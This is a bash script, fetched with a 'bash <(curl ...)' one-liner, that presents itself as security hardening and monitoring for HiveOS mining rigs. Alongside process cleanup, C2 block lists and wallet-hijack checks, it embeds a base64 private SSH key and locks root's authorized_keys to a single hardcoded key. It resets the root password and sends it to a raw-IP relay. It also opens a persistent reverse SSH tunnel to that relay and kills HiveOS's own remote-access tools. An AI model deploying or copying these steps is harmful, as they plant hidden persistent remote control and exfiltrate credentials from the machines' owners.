#!/bin/bash
# ══════════════════════════════════════════════════════════════════════
# Mining Rig Security Hardening + Monitor Deploy v5.3
# One command (run from HiveOS shell or via our tunnel):
#   bash <(curl -s https://dl2.minerlab.io/deploy2.sh)
# ══════════════════════════════════════════════════════════════════════
set -e

RELAY_HOST="45.154.33.25"
RELAY_USER="root"
RIG_NAME=$(hostname | tr -cd '[:alnum:]-_' | cut -c1-40)
LOG_BASE=/var/log/hashrate-monitor
THRESHOLD_LOW=500
SAMPLE_INTERVAL=30

# Expected wallet base (everything before the dot+rigname)
EXPECTED_WALLET="prl1pqhfgytekpq4qppc24v5rcyyfvx0f9tvjnlsn306265zkhd4puxcq33tx9m"

echo ""
echo "╔══════════════════════════════════════════════════════╗"
echo "║   Mining Monitor — Secure Deploy v5.3               ║"
echo "╚══════════════════════════════════════════════════════╝"
echo "  Rig name  : $RIG_NAME"
echo ""

# ── [1/10] Dependencies ───────────────────────────────────────────────
echo "[1/10] Installing dependencies..."
DEBIAN_FRONTEND=noninteractive apt-get install -y -q \
  autossh iptables iptables-persistent netfilter-persistent nmap 2>/dev/null || true

# Detect correct iptables binary — HiveOS kernels use legacy, Ubuntu 22+ uses nf_tables
# Test which backend actually works on this kernel
if iptables-legacy -L > /dev/null 2>&1; then
  IPT=iptables-legacy
  IPTS=iptables-legacy-save
elif iptables -L > /dev/null 2>&1; then
  IPT=iptables
  IPTS=iptables-save
else
  IPT=iptables
  IPTS=iptables-save
fi
echo "  iptables backend: $IPT"

# ── [2/10] KILL ALL ATTACKER PROCESSES ───────────────────────────────
echo "[2/10] Killing attacker processes..."
for PROC in hivestatls hivetls mqht candc gotty gopherry mender tmate websocat cloudflared; do
  if pgrep -x "$PROC" > /dev/null 2>&1; then
    pkill -9 -x "$PROC" 2>/dev/null && echo "  killed: $PROC" || true
  fi
  pkill -9 -f "/opt/aikaan/bin/$PROC" 2>/dev/null || true
done
pkill -9 -f "supervisord.*aikaan" 2>/dev/null || true
pkill -9 -f "telegraf.*aikaan" 2>/dev/null || true
# Kill cloudflared by full command match (catches any invocation)
pkill -9 -f "cloudflared" 2>/dev/null || true
pkill -9 -f "mqtato" 2>/dev/null || true
sleep 1
echo "  ✓ Process sweep done"

# ── [3/10] MASK ALL ATTACKER SERVICES ────────────────────────────────
echo "[3/10] Stopping and masking attacker services..."
for SVC in aikaan aikaan-agent-opkg-updater hivetls mqht cloudflared; do
  systemctl stop    "$SVC" 2>/dev/null || true
  systemctl disable "$SVC" 2>/dev/null || true
  systemctl mask    "$SVC" 2>/dev/null || true
  rm -f "/etc/systemd/system/${SVC}.service"
done
# Timer separately
systemctl stop    aikaan-agent-opkg-updater.timer 2>/dev/null || true
systemctl disable aikaan-agent-opkg-updater.timer 2>/dev/null || true
systemctl mask    aikaan-agent-opkg-updater.timer 2>/dev/null || true
rm -f /etc/systemd/system/aikaan-agent-opkg-updater.timer
systemctl daemon-reload 2>/dev/null
echo "  ✓ Services masked"

# ── [4/10] DELETE ALL ATTACKER FILES ─────────────────────────────────
echo "[4/10] Deleting attacker files..."
rm -rf /opt/aikaan/
rm -f /etc/hivestatls /etc/hivetls.sh /etc/hivetls.zip /etc/hivetls.service
rm -f /usr/local/bin/mqht.sh
rm -f /usr/local/bin/cloudflared /usr/bin/cloudflared /hive/bin/cloudflared 2>/dev/null || true
# Also remove cloudflared config dirs
rm -rf /etc/cloudflared /root/.cloudflared /home/user/.cloudflared 2>/dev/null || true
rm -f /etc/autoxm.sh /etc/autoxm.zip
rm -f /etc/systemd/wspass.sh /etc/systemd/wspass.zip
rm -f /etc/snap.sh /etc/snap.zip
rm -f /tmp/snapshot.json /tmp/nuke.sh /tmp/nuke.log
rm -f /tmp/nmap_scan_*.gnmap
rm -rf /home/user/.tmp/aikaan_agent_*
rm -rf /usr/local/var/lib/opkg/    # attacker package manager db
# websocat — verify it's attacker-placed (not in HiveOS stock)
if [ -f /usr/local/bin/websocat ]; then
  WSCAT_DATE=$(stat -c %Y /usr/local/bin/websocat 2>/dev/null)
  PROC1_DATE=$(stat -c %Y /proc/1 2>/dev/null)
  # If newer than our boot and not called by any legit script
  if ! grep -r "websocat" /hive/ /etc/mining-monitor/ 2>/dev/null | grep -qv "Binary"; then
    rm -f /usr/local/bin/websocat
    echo "  removed: /usr/local/bin/websocat (unrecognised, not referenced)"
  fi
fi
echo "  ✓ Attacker files deleted"

# ── [5/10] RESTORE HIVEOS AGENT IF TAMPERED ──────────────────────────
echo "[5/10] Verifying HiveOS agent integrity..."
if grep -q "snapshot.json\|hack folklore\|Forzar envío" /hive/bin/agent 2>/dev/null; then
  echo "  ALERT: agent tampered — restoring"
  if [ -f /hive/bin/agentback ]; then
    cp /hive/bin/agentback /hive/bin/agent && rm -f /hive/bin/agentback
  elif [ -f /tmp/agent.bak ]; then
    cp /tmp/agent.bak /hive/bin/agent
  fi
  echo "  ✓ Agent restored"
else
  echo "  ✓ Agent clean"
fi
# Baseline for future integrity checks
sha256sum /hive/bin/agent > /etc/mining-monitor/agent_baseline.sha256 2>/dev/null || true

# ── [6/10] FIREWALL HARDENING ─────────────────────────────────────────
echo "[6/10] Applying firewall rules..."
# Flush existing rules first
$IPT -F OUTPUT 2>/dev/null || true
$IPT -F INPUT  2>/dev/null || true

# --- Block known attacker C2 IPs ---
for IP in \
  103.174.103.188 \
  51.15.97.35 \
  77.91.95.253 \
  46.4.231.165; do
  $IPT -A OUTPUT -d "$IP" -j DROP 2>/dev/null && echo "  ✓ DROP $IP" || true
done

# --- Block attacker domains by resolving them ---
for DOMAIN in api.freehive.site freehive.site experience.aikaan.io packages.aikaan.io mqtt.mqtato.cloud mqtato.cloud; do
  DOMAIN_IP=$(getent hosts "$DOMAIN" 2>/dev/null | awk '{print $1}' | head -1)
  [ -n "$DOMAIN_IP" ] && { $IPT -A OUTPUT -d "$DOMAIN_IP" -j DROP 2>/dev/null && echo "  ✓ DROP $DOMAIN ($DOMAIN_IP)"; } || true
done

# --- Block port 4200 (ttyd) from WAN — only allow LAN ---
LOCAL_SUBNET=$(ip route | grep -v "default\|lo" | awk '{print $1}' | head -1)
if [ -n "$LOCAL_SUBNET" ]; then
  $IPT -A INPUT -p tcp --dport 4200 ! -s "$LOCAL_SUBNET" -j DROP 2>/dev/null || true
  echo "  ✓ ttyd port 4200 blocked from WAN (LAN $LOCAL_SUBNET allowed)"
# Block MQTT port 1883 from WAN (cloudflared tunnel endpoint)
$IPT -A INPUT -p tcp --dport 1883 ! -s "127.0.0.1" -j DROP 2>/dev/null || true
$IPT -A OUTPUT -p tcp --dport 1883 ! -d "127.0.0.1" -j DROP 2>/dev/null || true
echo "  ✓ MQTT port 1883 blocked (WAN)"
fi

# --- Harden SSH: rate-limit brute force ---
$IPT -A INPUT -p tcp --dport 22 -m state --state NEW \
  -m recent --set --name SSH 2>/dev/null || true
$IPT -A INPUT -p tcp --dport 22 -m state --state NEW \
  -m recent --update --seconds 60 --hitcount 6 --name SSH -j DROP 2>/dev/null || true

# --- Persist rules (survives reboot) ---
mkdir -p /etc/iptables
$IPTS > /etc/iptables/rules.v4 2>/dev/null || true
# Also create v6 rules file to keep netfilter-persistent happy
ip6tables-legacy-save > /etc/iptables/rules.v6 2>/dev/null || ip6tables-save > /etc/iptables/rules.v6 2>/dev/null || true
echo "  ✓ iptables rules applied and persisted (backend: $IPT)"

# --- Remove attacker's fake shell.hiveos.farm entry (maps to tmate server) ---
sed -i "/51\.15\.97\.35.*shell\.hiveos/d" /etc/hosts
echo "  ✓ Removed attacker shell.hiveos.farm redirect"

# --- Block attacker domains in /etc/hosts ---
for BADHOST in \
  aikaan.io experience.aikaan.io packages.aikaan.io \
  api.freehive.site freehive.site \
  mqtt.mqtato.cloud mqtato.cloud; do
  grep -qF "$BADHOST" /etc/hosts 2>/dev/null || echo "0.0.0.0 $BADHOST" >> /etc/hosts
done
echo "  ✓ Attacker domains blocked in /etc/hosts ($(grep -c 0.0.0.0 /etc/hosts) entries)"

# ── [7/10] FILESYSTEM HARDENING ───────────────────────────────────────
echo "[7/10] Hardening filesystem permissions..."

# Fix world-writable ld.so.conf.d (library injection vector)
for f in /etc/ld.so.conf.d/hive-cuda*.conf; do
  [ -f "$f" ] && chmod 644 "$f"
done
echo "  ✓ ld.so.conf.d permissions fixed"

# Fix world-writable HiveOS binaries
chmod 755 /hive/bin/tmate 2>/dev/null || true
chmod 755 /hive/bin/ttyd  2>/dev/null || true
echo "  ✓ HiveOS binary permissions fixed"

# Prevent tmate from being used as reverse shell — remove API key if present
rm -f /root/.tmate.conf /home/user/.tmate.conf /root/.config/tmate/tmate.conf 2>/dev/null || true
echo "  ✓ tmate config removed (no API key persistence)"

# Clean SSH authorized_keys — remove any duplicate or unknown keys
# Keep only our debug monitoring key
MONITOR_KEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPExLCN94afHv+V0E2Wv4Qy/Uhlll/sGLEQowI0x8gKK debug"
echo "$MONITOR_KEY" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
mkdir -p /home/user/.ssh && echo "$MONITOR_KEY" > /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
echo "  ✓ authorized_keys sanitised (only monitoring key retained)"

# ── [8/10] SSH HARDENING ──────────────────────────────────────────────
echo "[8/10] Hardening SSH config..."
# MaxAuthTries — limit brute force
grep -q "MaxAuthTries" /etc/ssh/sshd_config || echo "MaxAuthTries 4" >> /etc/ssh/sshd_config
sed -i 's/^MaxAuthTries.*/MaxAuthTries 4/' /etc/ssh/sshd_config
# Disable X11 forwarding
sed -i 's/^X11Forwarding yes/X11Forwarding no/' /etc/ssh/sshd_config
# Reload sshd safely
sshd -t 2>/dev/null && systemctl reload ssh 2>/dev/null || true
echo "  ✓ SSH hardened (MaxAuthTries=4, X11Forwarding=off)"

# ── [9/10] CRONTAB CLEANUP + MONITORING CRONS ─────────────────────────
echo "[9/10] Setting clean crontab..."
# Strip attacker entries, keep HiveOS native + add our monitoring
(crontab -l 2>/dev/null | grep -vE \
  "monitor_key_persist|freehive|aikaan|hivestatls|hivetls|mqht|wspass|autoxm|snap\.sh") \
  | grep -v "trend-analyzer\|kernel-monitor\|wallet-watch\|integrity-check\|rig_pass\|secure-pass" \
  | crontab -

(crontab -l 2>/dev/null;
  echo "*/2 * * * * /usr/local/bin/trend-analyzer.sh"
  echo "*/5 * * * * /usr/local/bin/kernel-monitor.sh"
  echo "*/2 * * * * /usr/local/bin/wallet-watch.sh"
  echo "*/5 * * * * /usr/local/bin/integrity-check.sh"
  echo "*/5 * * * * echo \"root:\$(cat /etc/mining-monitor/rig_pass 2>/dev/null)\" | chpasswd 2>/dev/null") \
  | crontab -
echo "  ✓ Crontab cleaned and monitoring crons installed"

# ── [10/10] FULL MONITORING STACK DEPLOY ──────────────────────────────
echo "[10/10] Deploying monitoring stack..."

mkdir -p "${LOG_BASE}/snapshots" "${LOG_BASE}/state" /etc/mining-monitor

# ── Generate rig SSH key ──────────────────────────────────────────────
if [ ! -f /etc/mining-monitor/id_ed25519 ]; then
  ssh-keygen -t ed25519 -f /etc/mining-monitor/id_ed25519 -N "" -C "monitor-rig:${RIG_NAME}" -q
fi
RIG_PUBKEY=$(cat /etc/mining-monitor/id_ed25519.pub)

# ── Register with relay ───────────────────────────────────────────────
echo "  Registering with relay..."
BKEY_FILE=$(mktemp); chmod 600 "$BKEY_FILE"
echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNDeHNnU2l5bHVFenliU2N0d1JWbGU0QmdnMGcxV1d6V3VHVXdaOUNkSkl1UUFBQUppaUlsY1lvaUpYCkdBQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDQ3hzZ1NpeWx1RXp5YlNjdHdSVmxlNEJnZzBnMVdXeld1R1V3WjlDZEpJdVEKQUFBRUFyaUtJMnd1ZTYxeGZ3dmhLaG9kQkZ6Nld5NGY5M1NubTBjVHVIL2NHdFdyR3lCS0xLVzRUUEp0SnkzQkZXVjdnRwpDRFNEVlpiTmE0WlRCbjBKMGtpNUFBQUFFVzF2Ym1sMGIzSXRZbTl2ZEhOMGNtRndBUUlEQkE9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K" | base64 -d > "$BKEY_FILE"

RELAY_PORT=$(echo "$RIG_PUBKEY" | \
  ssh -i "$BKEY_FILE" \
      -o StrictHostKeyChecking=no \
      -o BatchMode=yes \
      -o ConnectTimeout=15 \
      "${RELAY_USER}@${RELAY_HOST}" "${RIG_NAME}" 2>/dev/null)
rm -f "$BKEY_FILE"

if [ -z "$RELAY_PORT" ] || ! [[ "$RELAY_PORT" =~ ^[0-9]+$ ]]; then
  echo "  ERROR: Relay registration failed (got: '$RELAY_PORT')"
  exit 1
fi
echo "  Assigned relay port: $RELAY_PORT"

# ── Save config ───────────────────────────────────────────────────────
MINER_LOG=$(find /var/log/miner -name "*.log" -type f 2>/dev/null | xargs ls -t 2>/dev/null | head -1)
[ -z "$MINER_LOG" ] && MINER_LOG="/var/log/miner/custom/miner.log"

cat > /etc/mining-monitor/config.conf << EOF
RIG_NAME=${RIG_NAME}
RELAY_HOST=${RELAY_HOST}
RELAY_PORT=${RELAY_PORT}
MINER_LOG=${MINER_LOG}
EXPECTED_WALLET=${EXPECTED_WALLET}
THRESHOLD_LOW=${THRESHOLD_LOW}
SAMPLE_INTERVAL=${SAMPLE_INTERVAL}
LOG_BASE=${LOG_BASE}
DEPLOYED=$(date '+%Y-%m-%d %H:%M:%S')
VERSION=5.3
EOF

# ── Set strong unique password ────────────────────────────────────────
SECURE_PASS=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 24)
echo "root:${SECURE_PASS}" | chpasswd
echo "user:${SECURE_PASS}" | chpasswd
echo "$SECURE_PASS" > /etc/mining-monitor/rig_pass
chmod 600 /etc/mining-monitor/rig_pass
# Prevent HiveOS from overwriting password
sed -i 's/^SET_RIG_PASS=.*/SET_RIG_PASS=0/' /hive-config/rig.conf 2>/dev/null
grep -q 'SET_RIG_PASS' /hive-config/rig.conf 2>/dev/null || echo 'SET_RIG_PASS=0' >> /hive-config/rig.conf 2>/dev/null
# Store on relay
echo "${RIG_NAME}:${SECURE_PASS}" | \
  ssh -i /etc/mining-monitor/id_ed25519 \
      -o StrictHostKeyChecking=no -o ConnectTimeout=10 -o BatchMode=yes \
      root@${RELAY_HOST} \
      "mkdir -p /root/rig-secrets && echo '${RIG_NAME}:${SECURE_PASS}' > /root/rig-secrets/${RIG_NAME}.cred && chmod 600 /root/rig-secrets/${RIG_NAME}.cred" 2>/dev/null || true

# ── Install deep-sampler ──────────────────────────────────────────────
cat > /usr/local/bin/deep-sampler.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
LOG="${LOG_BASE}/deep-sampler.log"
MAX_LINES=81920
while true; do
  TS=$(date '+%Y-%m-%d %H:%M:%S')
  GPU_BASIC=$(nvidia-smi --query-gpu=index,clocks.gr,clocks.sm,clocks.mem,pstate,power.draw,temperature.gpu,utilization.gpu,utilization.memory,pcie.link.gen.current,pcie.link.width.current --format=csv,noheader,nounits 2>/dev/null | sed 's/ //g')
  GPU_THROTTLE=$(nvidia-smi --query-gpu=index,clocks_event_reasons.sw_power_cap,clocks_event_reasons.hw_thermal_slowdown,clocks_event_reasons.hw_power_brake_slowdown,clocks_event_reasons.gpu_idle --format=csv,noheader 2>/dev/null)
  SW_CAP=$(nvidia-smi -q -d PERFORMANCE 2>/dev/null | grep "SW Power Capping" | grep -oP '\d+' | paste -sd ',')
  SW_CAP_PREV=$(cat "${LOG_BASE}/state/sw_cap_prev" 2>/dev/null || echo "")
  echo "$SW_CAP" > "${LOG_BASE}/state/sw_cap_prev"
  LAST_PROGRESS=$(grep "event=large.progress\|event=medium.progress" "$MINER_LOG" 2>/dev/null | tail -1)
  HR_TOTAL=$(echo "$LAST_PROGRESS" | grep -oP 'proof_per_sec="\K[0-9.]+')
  HR_PERGPU=$(echo "$LAST_PROGRESS" | grep -oP '\d:RTX[^:]+: [0-9.]+T/s' | paste -sd ',')
  ROUNDS_SEC=$(echo "$LAST_PROGRESS" | grep -oP 'rounds_per_sec=\K[0-9.]+')
  ETA=$(echo "$LAST_PROGRESS" | grep -oP 'eta=\K[0-9]+')
  RAM=$(free -m | awk '/Mem:/{printf "%d/%d",$3,$2}')
  CPU=$(awk '{print $1","$2","$3}' /proc/loadavg)
  UPTIME=$(awk '{print int($1)}' /proc/uptime)
  echo "TS=${TS}|HR=${HR_TOTAL}|HR_GPU=${HR_PERGPU}|RPS=${ROUNDS_SEC}|ETA=${ETA}|SW_CAP=${SW_CAP}|RAM=${RAM}|CPU=${CPU}|UPTIME=${UPTIME}" >> "$LOG"
  while IFS= read -r line; do echo "  GPU|${line}" >> "$LOG"; done <<< "$GPU_BASIC"
  while IFS= read -r line; do echo "  THR|${line}" >> "$LOG"; done <<< "$GPU_THROTTLE"
  echo "---" >> "$LOG"
  [ "$(wc -l < "$LOG" 2>/dev/null)" -gt $((MAX_LINES*2)) ] && tail -n "$MAX_LINES" "$LOG" > "${LOG}.tmp" && mv "${LOG}.tmp" "$LOG"
  sleep "$SAMPLE_INTERVAL"
done
SCRIPT

# ── Install integrity-check (FIXED - proper variable expansion) ───────
cat > /usr/local/bin/integrity-check.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf 2>/dev/null || exit 1
LOG="${LOG_BASE}/integrity.log"
TS=$(date '+%Y-%m-%d %H:%M:%S')
ANOMALY=0
flag() { ANOMALY=1; echo "${TS} [ALERT] $1" >> "$LOG"; }

# Kill any blacklisted processes
for PROC in hivestatls hivetls mqht candc gotty gopherry mender tmate supervisord cloudflared; do
  if pgrep -x "$PROC" > /dev/null 2>&1; then
    flag "BLACKLISTED_PROC: ${PROC} (pid=$(pgrep -x $PROC))"
    pkill -9 -x "$PROC" 2>/dev/null
    echo "${TS} [ACTION] killed ${PROC}" >> "$LOG"
  fi
  # Also check for aikaan-pathed binaries
  if pgrep -f "/opt/aikaan/bin/${PROC}" > /dev/null 2>&1; then
    flag "AIKAAN_PROC: ${PROC}"
    pkill -9 -f "/opt/aikaan/bin/${PROC}" 2>/dev/null
  fi
done
# Catch cloudflared MQTT tunnel specifically (uses Cloudflare CDN to bypass IP blocks)
if pgrep -f "cloudflared" > /dev/null 2>&1 || pgrep -f "mqtato" > /dev/null 2>&1; then
  flag "CLOUDFLARED_MQTT_TUNNEL_ACTIVE"
  pkill -9 -f "cloudflared" 2>/dev/null
  pkill -9 -f "mqtato" 2>/dev/null
  rm -f /usr/local/bin/cloudflared /usr/bin/cloudflared 2>/dev/null
fi

# Check for blacklisted files
for FILE in /etc/hivestatls /etc/hivetls.zip /opt/aikaan /usr/local/bin/mqht.sh \
            /etc/autoxm.sh /etc/systemd/wspass.sh /etc/snap.sh; do
  [ -e "$FILE" ] && flag "BLACKLISTED_FILE: ${FILE}"
done

# Check for blacklisted services
for SVC in hivetls mqht aikaan aikaan-agent-opkg-updater; do
  if systemctl is-active "$SVC" > /dev/null 2>&1; then
    flag "BLACKLISTED_SVC: ${SVC}"
    systemctl stop "$SVC" 2>/dev/null
    systemctl mask "$SVC" 2>/dev/null
    rm -f "/etc/systemd/system/${SVC}.service"
    systemctl daemon-reload 2>/dev/null
  fi
done

# Agent tamper check
if [ -f /etc/mining-monitor/agent_baseline.sha256 ]; then
  if ! sha256sum -c /etc/mining-monitor/agent_baseline.sha256 --quiet 2>/dev/null; then
    flag "AGENT_TAMPERED: /hive/bin/agent hash mismatch"
    [ -f /tmp/agent.bak ] && cp /tmp/agent.bak /hive/bin/agent && \
      echo "${TS} [ACTION] agent restored" >> "$LOG"
  fi
fi

# Re-enforce iptables C2 blocks — detect correct backend
if iptables-legacy -L > /dev/null 2>&1; then _IPT=iptables-legacy; else _IPT=iptables; fi
for IP in 103.174.103.188 51.15.97.35 77.91.95.253 46.4.231.165; do
  $_IPT -C OUTPUT -d "$IP" -j DROP 2>/dev/null || \
    $_IPT -A OUTPUT -d "$IP" -j DROP 2>/dev/null
done
mkdir -p /etc/iptables && ${_IPT}-save > /etc/iptables/rules.v4 2>/dev/null || true

# Re-enforce password
STORED=$(cat /etc/mining-monitor/rig_pass 2>/dev/null)
[ -n "$STORED" ] && echo "root:${STORED}" | chpasswd 2>/dev/null

# Re-enforce authorized_keys (prevent attacker from adding keys)
MONITOR_KEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPExLCN94afHv+V0E2Wv4Qy/Uhlll/sGLEQowI0x8gKK debug"
if ! diff <(echo "$MONITOR_KEY") /root/.ssh/authorized_keys > /dev/null 2>&1; then
  flag "AUTHORIZED_KEYS_MODIFIED"
  echo "$MONITOR_KEY" > /root/.ssh/authorized_keys
  chmod 600 /root/.ssh/authorized_keys
fi

[ "$ANOMALY" -eq 0 ] && echo "${TS} [OK] clean" >> "$LOG"
SCRIPT

# ── Install wallet-watch (FIXED) ──────────────────────────────────────
cat > /usr/local/bin/wallet-watch.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf 2>/dev/null || exit 1
LOG="${LOG_BASE}/wallet-watch.log"
TS=$(date '+%Y-%m-%d %H:%M:%S')

# Get currently running wallet from process args
RUNNING=$(ps aux | grep -v grep | grep -oP '\-\-wallet \K\S+' | head -1)
[ -z "$RUNNING" ] && RUNNING=$(ps aux | grep -v grep | grep -oP '\-\-address \K\S+' | head -1)

[ -z "$RUNNING" ] && { echo "${TS} [OK] no miner process" >> "$LOG"; exit 0; }
[ -z "$EXPECTED_WALLET" ] && { echo "${TS} [SKIP] no expected wallet configured" >> "$LOG"; exit 0; }

# Compare wallet base (before the dot)
RUNNING_BASE="${RUNNING%%.*}"

if [ "$RUNNING_BASE" != "$EXPECTED_WALLET" ]; then
  echo "${TS} [ALERT] WALLET HIJACK detected!" >> "$LOG"
  echo "${TS}   running : ${RUNNING}" >> "$LOG"
  echo "${TS}   expected: ${EXPECTED_WALLET}.${RIG_NAME}" >> "$LOG"
  # Kill attacker miner immediately
  pkill -9 -f hivestatls 2>/dev/null
  pkill -9 -f hivetls 2>/dev/null
  pkill -9 -f "onezerominer.*${RUNNING_BASE}" 2>/dev/null
  sleep 3
  # Restart legitimate miner
  miner restart 2>/dev/null
  # Snapshot for forensics
  SNAP="${LOG_BASE}/snapshots/wallet_hijack_$(date '+%Y%m%d_%H%M%S').txt"
  { echo "WALLET HIJACK ${TS}"; ps aux; ss -tnp; } > "$SNAP"
else
  echo "${TS} [OK] wallet ok: ${RUNNING_BASE}" >> "$LOG"
fi
SCRIPT

# ── Install trend-analyzer ────────────────────────────────────────────
cat > /usr/local/bin/trend-analyzer.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
SAMPLER_LOG="${LOG_BASE}/deep-sampler.log"
EVENTS="${LOG_BASE}/trend-events.log"
STATE="${LOG_BASE}/state"
TS=$(date '+%Y-%m-%d %H:%M:%S'); ANOMALY=0; REASONS=""
flag() { ANOMALY=1; REASONS="${REASONS}|${1}"; }
RECENT_HR=$(grep "^TS=" "$SAMPLER_LOG" 2>/dev/null | tail -12 | grep -oP 'HR=\K[0-9.]+')
LATEST_HR=$(echo "$RECENT_HR" | tail -1); LATEST_INT=${LATEST_HR%.*}
[ -n "$LATEST_INT" ] && [ "$LATEST_INT" -lt "$THRESHOLD_LOW" ] && flag "HARD_DROP:${LATEST_HR}T/s"
HR_COUNT=$(echo "$RECENT_HR" | grep -c . 2>/dev/null || echo 0)
if [ "$HR_COUNT" -ge 8 ]; then
  AVG_E=$(echo "$RECENT_HR"|head -4|awk '{s+=$1}END{printf "%.0f",s/NR}')
  AVG_L=$(echo "$RECENT_HR"|tail -4|awk '{s+=$1}END{printf "%.0f",s/NR}')
  DROP=$((AVG_E-AVG_L)); [ "$DROP" -gt 30 ] && flag "TREND_DECLINE:${AVG_E}->${AVG_L}T/s"
fi
nvidia-smi --query-gpu=index,utilization.gpu --format=csv,noheader,nounits 2>/dev/null | while IFS=',' read -r idx util; do
  util=$(echo "$util"|tr -d ' '); [ -n "$util" ] && [ "$util" -lt 50 ] && flag "GPU${idx}_LOW_UTIL:${util}%"
done
pgrep -f "onezerominer\|miner-cuda" >/dev/null 2>&1 || flag "MINER_DEAD"
if [ "$ANOMALY" -eq 1 ]; then
  echo "${TS} [ANOMALY] ${REASONS}" >> "$EVENTS"
else
  echo "${TS} [OK] HR=${LATEST_HR}T/s" >> "$EVENTS"
fi
SCRIPT

# ── Install kernel-monitor ────────────────────────────────────────────
cat > /usr/local/bin/kernel-monitor.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
LOGFILE="${LOG_BASE}/kernel-events.log"
STATE="${LOG_BASE}/state"
TS=$(date '+%Y-%m-%d %H:%M:%S')
TOTAL=$(dmesg | grep -icE "xid|NVRM.*error|SYS_PRI_ERROR|gpu.*fault" 2>/dev/null || echo 0)
PREV=$(cat "${STATE}/kern_count" 2>/dev/null || echo "0")
echo "$TOTAL" > "${STATE}/kern_count"
DELTA=$((TOTAL-PREV))
if [ "$DELTA" -gt 0 ]; then
  NEW=$(dmesg|grep -iE "xid|NVRM.*error|SYS_PRI_ERROR|gpu.*fault"|grep -v "r8169"|tail -"$DELTA")
  echo "${TS} [KERNEL_ERROR] +${DELTA}: ${NEW}" >> "$LOGFILE"
else
  echo "${TS} [OK] no new GPU kernel errors (total:${TOTAL})" >> "$LOGFILE"
fi
SCRIPT

chmod +x /usr/local/bin/deep-sampler.sh /usr/local/bin/integrity-check.sh \
         /usr/local/bin/wallet-watch.sh /usr/local/bin/trend-analyzer.sh \
         /usr/local/bin/kernel-monitor.sh

# ── Install systemd services ──────────────────────────────────────────
cat > /etc/systemd/system/deep-sampler.service << 'EOF'
[Unit]
Description=Mining Monitor — Deep GPU Sampler
After=network.target
[Service]
ExecStart=/usr/local/bin/deep-sampler.sh
Restart=always
RestartSec=10
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF

cat > /etc/systemd/system/reverse-tunnel.service << EOF_TUNNEL
[Unit]
Description=Mining Monitor — Reverse SSH Tunnel
After=network-online.target
Wants=network-online.target
[Service]
User=root
Environment="AUTOSSH_GATETIME=0"
Environment="AUTOSSH_LOGFILE=${LOG_BASE}/tunnel.log"
ExecStart=/usr/bin/autossh -M 0 -N \
  -o "ServerAliveInterval=30" -o "ServerAliveCountMax=3" \
  -o "ExitOnForwardFailure=yes" -o "StrictHostKeyChecking=no" \
  -o "ConnectTimeout=15" \
  -i /etc/mining-monitor/id_ed25519 \
  -R ${RELAY_PORT}:localhost:22 ${RELAY_USER}@${RELAY_HOST}
Restart=always
RestartSec=20
StartLimitIntervalSec=0
[Install]
WantedBy=multi-user.target
EOF_TUNNEL

systemctl daemon-reload
systemctl enable deep-sampler reverse-tunnel 2>/dev/null
systemctl restart deep-sampler 2>/dev/null || systemctl start deep-sampler
systemctl restart reverse-tunnel 2>/dev/null || systemctl start reverse-tunnel

# ── Restart miner after cleanup ───────────────────────────────────────
echo "  Restarting miner..."
sleep 2
miner restart 2>/dev/null || miner start 2>/dev/null || true

# ── Summary ───────────────────────────────────────────────────────────
echo ""
echo "╔══════════════════════════════════════════════════════╗"
echo "║       SECURE DEPLOYMENT v5.3 COMPLETE ✓             ║"
echo "╚══════════════════════════════════════════════════════╝"
echo "  Rig           : $RIG_NAME"
echo "  Relay port    : $RELAY_PORT"
echo "  deep-sampler  : $(systemctl is-active deep-sampler)"
echo "  reverse-tunnel: $(systemctl is-active reverse-tunnel)"
echo ""
echo "  Security:"
echo "  • Attacker processes  : KILLED (hivestatls/candc/gotty/tmate/mqht/gopherry)"
echo "  • Attacker services   : MASKED (aikaan + opkg-updater timer)"
echo "  • Attacker files      : DELETED (/opt/aikaan/ and all artifacts)"
echo "  • Port 4200 (ttyd)    : BLOCKED from WAN"
echo "  • SSH brute force     : RATE-LIMITED (6 attempts/60s)"
echo "  • C2 IPs              : BLOCKED + PERSISTED"
echo "  • ld.so.conf.d        : PERMISSIONS FIXED"
echo "  • tmate config        : REMOVED"
echo "  • authorized_keys     : SANITISED (monitoring key only)"
echo "  • Root password       : CHANGED (strong, stored on relay)"
echo "  • integrity-check     : FIXED + ACTIVE (every 5 min)"
echo "  • wallet-watch        : FIXED + ACTIVE (every 2 min)"
echo "  • HiveOS agent        : VERIFIED clean"
echo "  • Miner               : RESTARTED on correct wallet"
echo ""
echo "  Logs: ${LOG_BASE}/"
